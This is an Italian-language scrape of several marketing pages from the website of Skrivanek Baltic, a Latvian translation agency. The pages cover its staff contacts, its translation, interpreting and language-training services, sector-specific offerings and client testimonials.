macibas@skrivanek. lv(+371) 67 218 573 (Lun-Ven dalle 9. 00 alle 17. 30)(+371) 29 337 892 (Lun-Ven dalle 9. 00 alle 17. 30) IL NOSTRO TEAM Vasilijs Ragačevičs Direttore generale vasilijs@skrivanek. lv Artūrs Peha Responsabile dello sviluppo aziendale arturs@skrivanek. lv Dana Laizāne Direttore di progetti di localizzazione e intelligenza artificiale dana@skrivanek. lv Jeļena Lapoška Direttrice dell'ufficio amministrativo jelena. laposka@skrivanek. lv Aiga Matveja Direttrice della scuola di lingue macibas@skrivanek. lv Ivars Treskovskis Direttore dell’ufficio traduzioni ivars@skrivanek. lv Lelde Calmane Responsabile dell’ufficio Qualità lelde@skrivanek. lv Jānis Luns Marketing Manager janis. luns@skrivanek. lv Uldis Krūmiņš Responsabile IT uldis@skrivanek. lv I SERVIZI LINGUISTICI DI SKRIVANEK BALTIC L’agenzia di traduzione certificata Skrivanek Baltic fornisce servizi linguistici e opera in Lettonia dal 2003. SERVIZI DI TRADUZIONE Forniamo traduzioni generali e specialistiche di alta qualità in più di 110 lingue, tra cui lettone, russo, tedesco, spagnolo, francese, italiano, estone, svedese, norvegese, finlandese, ecc. Che sia necessaria una conoscenza specifica del settore o un uso rigoroso della terminologia, potete contare su di noi per la traduzione dei vostri documenti. I settori in cui le nostre traduzioni sono più richieste sono: quello assicurativo, edile, bancario e finanziario, delle risorse umane, informatico e del gioco d'azzardo, legale, agricolo e forestale, ingegneristico e ferroviario, medico e dei test clinici, manifatturiero, della pubblicità e del marketing, del commercio, del turismo e delle istituzioni governative e municipali. Forniamo anche traduzioni certificate da un notaio che andranno ad accompagnare i documenti originali e le loro copie, in conformità con la legislazione della Repubblica di Lettonia, servizi di miglioramento grammaticale e stilistico di testi esistenti, servizi di adattamento e di copywriting, di desktop publishing (DTP), di traduzione di siti web, di localizzazione di audio, video o software e traduzioni di GoogleAds e SEO. SERVIZI DI INTERPRETAZIONE Forniamo servizi di interpretazione in varie combinazioni di oltre 40 lingue diverse. Che si tratti di un servizio di interpretazione consecutiva in occasione di incontri con pochi partecipanti, come pranzi o uscite di lavoro, o di servizi di interpretazione simultanea in occasione di eventi su larga scala, come ad esempio conferenze, affidandovi ai nostri interpreti professionisti avrete la garanzia di una comunicazione senza problemi. I nostri interpreti vi assisteranno durante i procedimenti giudiziari, come anche nelle varie situazioni di vita quotidiana, come ad esempio se dovete interfacciarvi con istituzioni governative o municipali, presentare dei documenti, ecc. FORMAZIONE LINGUISTICA Da oltre 10 anni, il Centro di formazione Skrivanek offre corsi di lingua straniera ad aziende e privati. Imparate le lingue in modo rapido ed efficiente partecipando ai nostri corsi di gruppo o individuali in presenza o a distanza via Skype. Offriamo servizi di formazione linguistica ad adulti, bambini e ragazzi. Contattateci per avere un servizio su misura per voi! --- > Servizi di interpretazione professionali in occasione di conferenze, riunioni di lavoro, trattative, udienze in tribunale, ecc. Interpreti locali e stranieri. - Published: 2023-12-19 - Modified: 2024-02-09 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/ - Translation Priorities: Optional INTERPRETAZIONE CONSECUTIVA Professionale e di facile comprensione. Quando presta un servizio di interpretazione consecutiva, l’interprete ascolta l’oratore per poi interpretare ciò che è stato detto in un’altra lingua. Questo tipo di interpretazione ha un ruolo molto importante in riunioni con pochi partecipanti, pranzi di lavoro, e viaggi di lavoro. Per saperne di più INTERPRETAZIONE SIMULTANEA Quando è necessario un servizio di interpretazione che sarà fruito da molte persone e che magari deve essere svolto in più combinazioni linguistiche differenti, la soluzione migliore è l’interpretazione simultanea. In questo caso, ciò che viene detto viene interpretato da una cabina per interpretazione con un ritardo di qualche secondo. Per saperne di più INTERPRETAZIONE DI CONFERENZA Quando si svolge un servizio di interpretazione in occasione di conferenze, è più importante comunicare le idee dell’oratore, più che che riportare ogni singola parola nella lingua di arrivo. I nostri interpreti di simultanea professionisti sono in grado di garantire la comunicazione tra individui di culture diverse. Per saperne di più INTERPRETAZIONE IN TRIBUNALE Il linguaggio giuridico è caratterizzato da precisione, la quale è molto importante nel contesto del tribunale. Collaboriamo solo con interpreti esperti che conoscono molto bene la terminologia legale. Con il loro aiuto, i procedimenti giudiziari si svolgeranno senza problemi. Per saperne di più ALTRI TIPI DI INTERPRETAZIONE Forniamo anche altre tipologie di servizi di interpretazione, come il chuchotage (interpretazione sussurrata), interpretazione via telefono o in occasione di conferenze che si svolgono su Zoom o Skype. Se il servizio di interpretazione che state cercando non è fra quelli menzionati, contattate i nostri project manager; sapranno sicuramente offrirvi il servizio di cui avete bisogno! Contattateci! SERVIZI DI ASSISTENZA Se invece avete bisogno di servizi di interpretazione per situazioni di vita quotidiana, come ad esempio per comunicare con enti governativi o municipali o per presentare documenti, l’interprete-assistente è ciò che fa per voi. Contattateci e troveremo il servizio più adatto alle vostre esigenze! Contattateci! CERCATE UN SERVIZIO DI INTERPRETAZIONE O UNA CONSULENZA? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Invia una richiesta DOMANDE FREQUENTI Sono entrambi linguisti specializzati ma, mentre i traduttori forniscono traduzioni scritte, gli interpreti forniscono traduzioni orali consecutive o simultanee. Dipende da ogni singolo caso e dalle vostre esigenze. Siete voi a decidere per quanto tempo avete bisogno di un interprete. Sì, spesso creiamo anche dei team di linguisti specializzati per ogni partner con cui cooperiamo, il che significa che i servizi saranno forniti dagli stessi interpreti o traduttori che se ne sono occupati in precedenza. Siamo contenti di ricevere i vostri feedback e impieghiamo con piacere gli stessi linguisti specializzati. Anche i nostri clienti abituali hanno si interfacciano sempre con lo stesso project manager. FORNIAMO SERVIZI DI INTERPRETAZIONE IN PIÙ DI 40 LINGUE DIVERSE Lingua ceca Lingua danese Lingua estone Lingua finlandese Lingua francese Lingua greca Lingua inglese Lingua italiana Lingua lituana Lingua norvegese Lingua polacca Lingua russa Lingua spagnola Lingua svedese Lingua tedesca Altre lingue OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ milioni Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Traduzioni specializzate, traduzioni autenticate, servizi di interpretazione e formazione linguistica. Per saperne di più! - Published: 2023-12-19 - Modified: 2024-02-09 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/ - Translation Priorities: Optional Il settore assicurativo si basa sulla fiducia e in questo campo solo dei professionisti possono avere successo. Perciò, per raggiungere i risultati desiderati, è necessario avere al proprio fianco qualcuno che non sia solo esperto nella terminologia e nelle pratiche del settore, ma che conosca bene anche le diverse tipologie di servizi assicurativi, e che quindi sia in grado di fornire servizi adeguati. Il team di Skrivanek è composto da traduttori e interpreti con esperienza nel settore e che conoscono le diverse tipologie di assicurazioni: assicurazione sugli immobili, assicurazione vita e malattia, riassicurazione, assicurazione aziendale, assicurazione auto, ecc. Proprio per questo non c’è niente di meglio dei nostri servizi per soddisfare le vostre esigenze. Che abbiate bisogno di traduzioni scritte, revisioni, servizi di interpretazione per seminari e conferenze, non vi deluderemo. L’esperienza dei nostri specialisti garantisce traduzioni all’altezza delle aspettative. Utilizziamo lo stile comunicativo aziendale e una terminologia adeguata per assicurare testi che non sono solo accurati, ma che contribuiscono anche a migliorare l’immagine della vostra azienda. Scegliendo Skrivanek avrete la sicurezza di affidarvi ad un’agenzia che si prende la responsabilità del proprio lavoro, che si tratti della traduzione di materiale commerciale o della descrizione di complicate manipolazioni mediche. Conosciamo la natura del settore assicurativo, siamo ben informati e consapevoli delle tendenze odierne, e siamo sempre pronti a migliorare la nostra conoscenza in quest’ambito. FORNIAMO I SEGUENTI SERVIZI PER IL SETTORE ASSICURATIVO IN TUTTE LE PRINCIPALI LINGUE EUROPEE: traduzione di diversi contratti generali di assicurazione; traduzione delle condizioni di assicurazione; traduzione di accordi aziendali per l’assicurazione collettiva; traduzione di offerte e piani aziendali; traduzione di informazioni riguardanti gli assicurati e le richieste di risarcimento danni; traduzione dei certificati assicurativi; traduzione dei moduli di richiesta di risarcimento e delle lettere standard riguardanti tali richieste. interpretazione simultanea o consecutiva in occasione di vari eventi, tra cui incontri di lavoro, seminari e conferenze; traduzione di tutte le tipologie di materiale di marketing per la promozione dei vostri servizi; qualsiasi altro servizio di cui potreste aver bisogno. SAREMO LIETI DI ASCOLTARVI E DI SVILUPPARE UNA SOLUZIONE SU MISURA PER VOI Invia una richiesta Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Servizi di qualità per il settore finanziario e bancario: traduzione, interpretazione, traduzioni autenticate e formazione linguistica. - Published: 2023-12-19 - Modified: 2024-02-23 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/ - Translation Priorities: Optional Come professionisti del settore finanziario, avete bisogno di un partner affidabile che ne capisce la natura e in gardi di fornire servizi di qualità. Sono 25 anni che Skrivanek fornisce servizi di traduzione di qualità a questo settore. Se cercate qualcuno che traduca o che svolga la correzione di bozze dei vostri testi, che faccia da interprete per le vostre riunioni o conferenze, o che adatti i vostri testi SEO, affidandovi a Skrivanek non rimarrete delusi. La nostra profonda conoscenza della terminologia del settore e dei dettagli legali garantisce a banche, istituzioni finanziarie, istituzioni di credito e altre aziende che lavorano nel settore finanziario di poter contare sulla qualità dei nostri servizi linguistici. Se necessario, possiamo anche adattare i vostri testi alle esigenze locali. Grazie ai diversi anni di esperienza dei nostri linguisti specializzati nel settore, scegliendo Skrivanek, avrete la sicurezza di ricevere delle soluzioni collaudate e un servizio clienti eccellente. Utilizzando le tecnologie più innovative per la traduzione e l’elaborazione dei testi, vi aiuteremo a risparmiare tempo e denaro. Tutto questo garantendo il massimo livello di sicurezza dei dati, proteggendoli quindi dalla diffusione a terzi. Tutti gli ordini sono coordinati dai nostri project manager, i quali capiscono pienamente le necessità dei nostri clienti e che, per tutta la durata del progetto di traduzione, diventeranno parte del vostro team. Grazie alla nostra esperienza internazionale e al nostro grande team di traduttori e interpreti, siamo in grado di gestire ogni lavoro, a prescindere dalla sua grandezza o urgenza. SKRIVANEK FORNISCE I SEGUENTI SERVIZI PER IL SETTORE FINANZIARIO IN TUTTE LE PRINCIPALI LINGUE EUROPEE: traduzione di tutte le tipologie di materiali di marketing sia in formato digitale che cartaceo, compresi materiali di vendita, guide di stile, schede prodotto, campagne e-mail, ecc. ; traduzione di rapporti di investimento e di mercato, relazioni annuali, ricerche sul settore finanziario; traduzione di vari accordi, regolamenti e licenze; localizzazione di software per la fornitura di servizi finanziari; interpretazione simultanea o consecutiva in occasione di vari eventi, tra cui conferenze, pranzi o cene di lavoro e incontri di lavoro; formazione linguistica, anche riguardante la terminologia specializzata; qualsiasi altro servizio di cui potreste aver bisogno. SAREMO LIETI DI ASCOLTARVI E DI SVILUPPARE UNA SOLUZIONE SU MISURA PER VOI Invia una richiesta Settore assicurativo Edilizia Risorse umane Finanziario e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Servizi di qualità per il settore delle risorse umane: traduzione, interpretazione. Localizzazione e formazione linguistica. Per saperne di più! - Published: 2023-12-19 - Modified: 2024-02-09 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/ - Translation Priorities: Optional Lavorando nel settore delle risorse umane (HR), il vostro obiettivo è quello di trovare e attirare i migliori specialisti del settore, i quali devono volere ed essere in grado di contribuire ai vostri progetti. Nel team di Skrivanek lavorano linguisti specializzati che vi aiuteranno a trovare le parole giuste in una lingua straniera, così che potrete scegliere il meglio del meglio con cui collaborare. Questo è molto importante quando chi state cercando deve essere in grado di comunicare in più di una lingua: grazie all’aiuto del nostro strumento esclusivo FOCUS, potrete individuare velocemente ed efficientemente le competenze linguistiche del vostro candidato e il suo livello di conoscenza della lingua. Se i vostri dipendenti hanno bisogno di migliorare le loro competenze linguistiche, sono i benvenuti alla Scuola di lingue Skrivanek Baltic, la quale offre corsi di lingua di diversi livelli e intensità. Nel settore delle risorse umane, indipendentemente dalla lingua, è importante comunicare gli stessi valori aziendali a tutti gli impiegati. I linguisti specializzati di Skrivanek garantiscono precisi servizi di traduzione e interpretazione in tutte le principali lingue europee, assicurando che il significato che si vuole comunicare non vada perso nella traduzione. I traduttori di Skrivanek forniscono traduzioni di qualità di tutti i documenti di cui necessitate la traduzione, tra cui contratti di lavoro, regolamenti aziendali, messaggi aziendali interni, ma anche molti altri. I nostri linguisti specializzati capiscono perfettamente i mercati locali e le differenze tra le varie culture e sono quindi in grado di redigere testi per target specifici in ogni nazione e in ogni lingua. Inoltre, possiamo anche adattare i testi a ogni pubblico. FORNIAMO I SEGUENTI SERVIZI PER IL SETTORE DELLE RISORSE UMANE IN TUTTE LE LINGUE PIÙ DIFFUSE: traduzione di contratti di lavoro e altri accordi; partecipazione a colloqui di lavoro e valutazione delle competenze linguistiche dei candidati; traduzione di regolamenti interni; traduzione di materiali di comunicazione interna; traduzione di lettere di raccomandazione; interpretazione simultanea o consecutiva in occasione di vari eventi, tra cui conferenze, pranzi o cene di lavoro e incontri di lavoro; formazione linguistica di gruppo e individuale; FOCUS, il nostro strumento per la verifica online delle competenze linguistiche; e altri servizi linguistici di cui potreste aver bisogno. SAREMO LIETI DI ASCOLTARVI E DI SVILUPPARE UNA SOLUZIONE SU MISURA PER VOI Invia una richiesta Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Servizi di qualità per il settore delle tecnologie dell’informazione e dei videogiochi: traduzione, interpretazione, localizzazione e formazione linguistica. Per saperne di più! - Published: 2023-12-19 - Modified: 2024-02-09 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/ - Translation Priorities: Optional Il settore delle tecnologie dell’informazione (IT) parla una lingua propria. Come specialisti IT, conoscete bene l’importanza di utilizzare una terminologia accurata per comunicare con i vostri colleghi e di trasmettere con semplicità le informazioni all’utente finale. I linguisti specializzati di Skrivanek creano un ponte tra gli specialisti IT e i clienti, producendo testi di facile comprensione. Skrivanek fornisce servizi di traduzione e di interpretazione accurati e precisi alle aziende che operano nel settore IT e in quello del gaming e rispetta sempre le scadenze con attenzione. Il nostro team è composto da specialisti esperti in terminologia IT che sono sempre informati sugli ultimi sviluppi del settore. Essi sono anche in grado di rendere con accuratezza le specifiche tecniche dei prodotti. Che abbiate bisogno di una traduzione scritta, di una localizzazione, di un servizio di formazione linguistica per l’espansione sui mercati di esportazione o di servizi di interpretazione in occasione di incontri di lavoro, Skrivanek potrà aiutarvi. I linguisti specializzati di Skrivanek redigeranno traduzioni di alta qualità di tutto ciò di cui avete bisogno, come ad esempio di diverse tipologie di manuali, di descrizioni tecniche, di pubblicazioni aziendali, di materiali di marketing e tanto altro. Grazie alla competenza dei nostri specialisti, siamo in grado di eseguire localizzazioni di alto livello di software e di videogiochi. Inoltre, durante la traduzione e la localizzazione, i nostri specialisti utilizzano molteplici programmi automatizzati che aiutano a preservare i codici e i comandi dei programmi, i quali sono molto importanti nel settore IT. FORNIAMO I SEGUENTI SERVIZI PER IL SETTORE IT E DEL GAMING IN PIÙ DI 100 COMBINAZIONI LINGUISTICHE: localizzazione di software e di videogiochi; traduzione di Google Ads e traduzioni SEO; traduzione di manuali operativi; preparazione del materiale aziendale; traduzione di analisi comparative, articoli e comunicati stampa; traduzione di accordi, regolamenti e licenze; interpretazione simultanea o consecutiva in occasione di vari eventi, tra cui seminari, conferenze e incontri di lavoro; formazione linguistica specializzata; qualsiasi altro servizio linguistico di cui potreste aver bisogno. SAREMO LIETI DI ASCOLTARVI E DI SVILUPPARE UNA SOLUZIONE SU MISURA PER VOI Invia una richiesta Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Servizi linguistici di qualità per il settore legale: traduzione, interpretazione, traduzioni autenticate e formazione linguistica. - Published: 2023-12-19 - Modified: 2024-02-09 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/ - Translation Priorities: Optional Il settore legale riguarda innumerevoli procedure e processi, persino il destino dell’uomo, perciò la scelta e l’uso delle parole gioca un ruolo fondamentale. I linguisti specializzati di Skrivanek conoscono bene il sistema legale, quindi i nostri servizi linguistici vi permetteranno di concentrarvi sulla vostra attività senza avere distrazioni. Che abbiate bisogno di traduzioni di contratti, di leggi e regolamenti, di sentenze del giudice o di servizi di interpretariato durante i procedimenti giudiziari, gli specialisti linguistici di Skrivanek saranno al vostro fianco. Il nostro team è composto da specialisti che hanno dimestichezza con testi di carattere legale e che sono in grado di tradurre il testo di partenza in modo tale che venga preservato sia il contenuto che il significato legale del documento originale. Quando traduciamo testi e documenti legali, ci atteniamo rigidamente ai requisiti di redazione e di formattazione. Quando lavoriamo con testi e clienti di qualsiasi settore, mettiamo sempre la riservatezza al primo posto. Siamo certificati secondo le norme ISO 27001 e ISO 9001. Siamo fieri e grati di poter collaborare attivamente con diverse istituzioni governative e municipali, con agenzie dell’Unione europea, nonché con conosciuti studi legali FORNIAMO I SEGUENTI SERVIZI AL SETTORE LEGALE IN TUTTE LE PRINCIPALI COMBINAZIONI LINGUISTICHE EUROPEE: traduzione di leggi, regolamenti e progetti di legge; traduzione di contratti e delle loro bozze; traduzione di sentenze del giudice e di precedenti legali; traduzione di avvisi, reclami e domande; traduzione di procure; traduzione di perizie e giudizi di esperti; interpretazione simultanea o consecutiva in vari eventi, tra cui procedimenti giudiziari e interpretazione simultanea nel linguaggio dei segni; formazione linguistica specializzata per diversi livelli di competenza linguistica; servizi di assistenza ai rappresentanti esteri; e altri servizi linguistici di cui potreste aver bisogno. SAREMO LIETI DI ASCOLTARVI E DI SVILUPPARE UNA SOLUZIONE SU MISURA PER VOI Invia una richiesta Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Servizi linguistici di qualità per l’agricoltura e la silvicoltura: traduzione, interpretazione, certificazione notarile. Localizzazione e formazione linguistica. Per saperne di più! - Published: 2023-12-19 - Modified: 2024-02-09 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/ - Translation Priorities: Optional Il settore agricolo e quello forestale sono fondamentali per l’economia lettone ma, senza una cooperazione transfrontaliera, il loro sviluppo non sarebbe possibile. Proprio per questo una comunicazione che avviene senza barriere linguistiche è uno dei prerequisiti di uno sviluppo commerciale di successo. I linguisti specializzati di Skrivanek vi aiuteranno nella comunicazione con i clienti, con i partner e con le istituzioni dell’unione europea, così che potrete concentrarvi sulla vostra attività principale. I nostri traduttori e interpreti hanno molta esperienza nella traduzione e si occupano di tutte le tipologie di documenti. Essi sono anche esperti nell’interpretazione e lavorano anche in grandi progetti internazionali. Inoltre, grazie alla conoscenza in ambito agricolo dei nostri specialisti, possiamo garantire traduzioni precise e corrette dal punto di vista terminologico di manuali e di linee guida per l’utilizzo di macchinari agricoli e forestali per un’adeguata coltivazione nella nostra regione. Il team di linguisti specializzati di Skrivanek è grande abbastanza da fornire sempre lo specialista più adatto alle vostre necessità. Agricoltura, allevamento di bestiame, avicoltura, suinicoltura, ovinicoltura, coltivazione di piante, riproduzione selettiva, scienze forestali, miglioramento agricolo, queste sono le specializzazioni dei nostri linguisti. Per questo siamo spesso la prima scelta di organizzazioni governative e municipali e di aziende del settore quando si tratta di trovare un partner con cui collaborare. FORNIAMO I SEGUENTI SERVIZI LINGUISTICI AL SETTORE AGRICOLO E FORESTALE IN TUTTE LE PRINCIPALI LINGUE EUROPEE: traduzione di norme e documentazione tecnica; traduzione di descrizioni prodotto e di descrizioni di macchinari industriali; traduzione di articoli e ricerche scientifiche; traduzione di documenti relativi alla manutenzione e al funzionamento dei macchinari; traduzione di diverse tipologie di licenze, permessi e altri documenti; spiegazioni e chiarimenti sulle direttive UE; interpretazione simultanea o consecutiva in occasione di vari eventi, tra cui conferenze, seminari, scambi di esperienze e incontri di lavoro; formazione linguistica specializzata; e altri servizi linguistici di cui potreste aver bisogno. SAREMO LIETI DI ASCOLTARVI E DI SVILUPPARE UNA SOLUZIONE SU MISURA PER VOI Invia una richiesta Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Servizi di qualità per i settori ingegneristico e ferroviario: traduzioni, interpretazione, traduzioni notarili, localizzazione e formazione linguistica. - Published: 2023-12-19 - Modified: 2024-02-09 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/ - Translation Priorities: Optional Nel settore dell’ingegneria e in quello ferroviario precisione e puntualità sono due qualità molto importanti e, come ben sapete, deviazioni non sono ammesse. Proprio per questo avete bisogno di un partner che si occupi dei compiti assegnatogli con la massima responsabilità. Inoltre, considerando l’importanza globale, la varietà e l’alto valore aggiunto di questi settori, è necessario che anche i collaboratori abbiano una profonda conoscenza ed esperienza. Per assicurare qualità e produttività ogni giorno, utilizziamo gli ultimi sviluppi della tecnologia. Siamo qui ad aiutarvi a percorrere la strada del successo! Nel corso di più di 25 anni, i linguisti specializzati di Skrivanek hanno prodotto innumerevoli progetti di traduzione e di localizzazione per il settore dell’ingegneria e per quello ferroviario. Inoltre, siamo attivamente coinvolti in un progetto per lo sviluppo di un’infrastruttura ferroviaria diffusa in tutti i paesi baltici. Possiamo affermare con sicurezza di avere molta esperienza e la conoscenza tecnica necessaria per lavorare a documenti relativi a questi settori e che rispettiamo rigorosamente le scadenze. Che abbiate bisogno di una traduzione scritta o di un servizio di interpretazione in occasione di vari incontri di lavoro, il team di Skrivanek non vi deluderà. I linguisti specializzati di Skrivanek produrranno traduzioni di alta qualità di tutti i materiali assegnatoci, come ad esempio pubblicazioni aziendali, contratti, regolamenti e capitolati di appalto, diversi testi di marketing, ma anche molte altre tipologie testuali. Il nostro team di linguisti specializzati è composto non soltanto da persone con una formazione filologica, ma anche da individui con formazione in ambito ingegneristico, cosa fondamentale per garantire l’uso corretto della terminologia. I nostri specialisti dispongono della conoscenza necessaria per garantire traduzioni di alta qualità riguardanti la produzione e lavorazione dei metalli, la produzione di macchinari e macchine utensile, la produzione di veicoli, come macchine e rimorchi, notifiche di sistema, riparazioni di attrezzature, la produzione di attrezzatura elettrica e ottica, ma anche riguardanti tutto ciò che riguarda il settore ferroviario. FORNIAMO I SEGUENTI SERVIZI LINGUISTICI PER I SETTORI DELL’ INGEGNERIA E FERROVIARIO IN TUTTE LE PRINCIPALI LINGUE EUROPEE: traduzione e localizzazione delle descrizioni dei prodotti; traduzione di manuali operativi, manuali di installazione e delle notifiche di sistema; traduzione di corrispondenza commerciale utilizzando la terminologia corretta; traduzione di testi pubblicitari, materiale di marketing e report annuali; interpretazione simultanea o consecutiva in occasione di vari eventi, tra cui seminari, conferenze e incontri di lavoro; corsi di lingua di diverso livello e intensità; servizi di desktop publishing (DPT) per la corretta formattazione dei materiali; e qualsiasi altro servizio di cui potreste aver bisogno. SAREMO LIETI DI ASCOLTARVI E DI SVILUPPARE UNA SOLUZIONE SU MISURA PER VOI Invia una richiesta Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ 